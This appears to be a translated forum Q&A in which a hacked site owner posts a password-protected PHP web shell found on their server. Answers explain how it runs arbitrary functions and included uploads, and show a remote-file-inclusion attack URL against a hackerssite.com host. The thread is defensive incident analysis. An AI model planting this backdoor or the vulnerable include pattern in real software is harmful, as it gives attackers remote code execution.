Взломали! Что делает этот PHP-код? И как этого избежать?

Я был взломан, и, видимо, они отправляли спам-сообщения. Были два файла, которые они ввели на мой сервер (которые были дублированы во всех подкаталогах). Один из них - сильно хешированный PHP файл, который может быть отправителем. Код ниже приведен из другого файла.

Вот мой вопрос: что это такое? Я не могу перевести его цель. Кроме того, что мне делать, чтобы избежать повторения этого события?

<?php

if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
    die();
@extract($_POST);

if(!empty($a))
    @$a($b);

if(!empty($_FILES['tmp_name']))
    @include($_FILES['tmp_name']);

?>

Ответ 1

переименуйте файл немедленно (на что-то другое .php), прежде чем его снова осмотреть, поэтому любой злоумышленник больше не сможет его использовать.

Затем исследуйте, как они могли ввести это на ваш сервер.

В ваших журналах доступа вы найдете страницы-загрузки, которые загружают этот конкретный файл PHP. Это будет вашим первым ключом. Изучите другие соединения с одного и того же IP-адреса, например, и посмотрите, какие сценарии они получили/злоупотребляли. Где-то вы, вероятно, обнаружите, что у вас устаревший/уязвимый плагин WordPress, подключаемый модуль joomla и т.д. Обновите или удалите этот плагин как можно скорее, или вы скоро будете взломаны!

Также при проверке ваших журналов доступа, посмотрите, загрузили ли они новые бэкдоры! Возможно, вы видите, что некоторые сценарии вызываются по тому же IP-адресу, который не должен существовать. Удалите/переименуйте их тоже!

Что делает код довольно простой, но довольно продвинутый: Это позволяет владельцу пароля выполнить любой код, который вы могли бы выполнить через PHP. Расширенный бит - это то, что его трудно обнаружить. Он не использует base64, не eval и т.д.

изменить

idealizm сказал в комментариях:

Я фактически не использую Wordpress (или любую другую CMS) в этом домене, но у меня есть файл index.php, который обрабатывает динамическое создание различных страниц, делая добавление существующего файла с префиксом подчеркивания - поэтому index.php? go = about будет включать ( "about.php" ). Он проверяет, существует ли файл, и, если нет, включает только файл по умолчанию. Я надеялся, что это достаточно безопасно. Это где они могли бы использовать мой код? `if ($ _GET ['go'] == '') {$ go = 'videos'; } else {$ go = $_GET ['go']; } if (! (file_exists (''. $go. '. php'))) {$ go = 'videos'; }

Да, может быть твоя проблема! Вы говорите, что прилагаемый файл имеет префикс с подчеркиванием, но я не вижу этого в вашем коде... Итак, если хакер отправился в index.php?go=http://hackerssite.com/hackerscode, вы в конечном итоге включите код http://hackerssite.com/hackerscode.php и допустите хаос!

Удалить (и никогда не разрешать) включение кода прямого ввода пользователем. Проверьте $_GET['go'] на массив разрешенных включенных страниц или используйте switch для вызова include.

Ответ 2

Это позволяет им запускать любую функцию, которую они хотят, и позволяет им загружать файл и сразу же включать и анализировать как PHP... он как можно ближе к полному доступу, как вы можете получить после root. Здесь полная разбивка:

  • Разрешить атакуемым, чтобы убедиться, что они являются единственными, кто может произвести атаку (простой пароль защищен)

    if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die();

  • Извлеките все переменные POST как свои собственные переменные, а затем передайте любое имя функции ($a) и вызовите его (передавая переменную POST $b). - это позволяет им запускать любую загруженную функцию (включая такие вещи, как exec, если ваша система позволяет это)

    @extract($_POST);
    if(!empty($a)) @$a($b);

  • Разрешить злоумышленнику загружать файл (любой файл) и автоматически включать его в PHP script.

    if(!empty($_FILES['tmp_name'])) @include($_FILES['tmp_name']);

Кроме того, @ перед каждым оператором подавляет ошибки, поэтому он не будет отображаться в журнале ошибок, если вы его проверяете.

Ответ 3

Кажется, что он выполняет функцию, имя которой задается через $_POST['a'] со значением от $_POST['b'] в качестве пареметра, а также включает файл, который загружается через форму.

Таким образом, в основном это позволяет пользователю выполнять PHP файлы и функции на вашем сервере.

Немедленно удалите или переименуйте этот файл, чтобы избежать дальнейшего использования.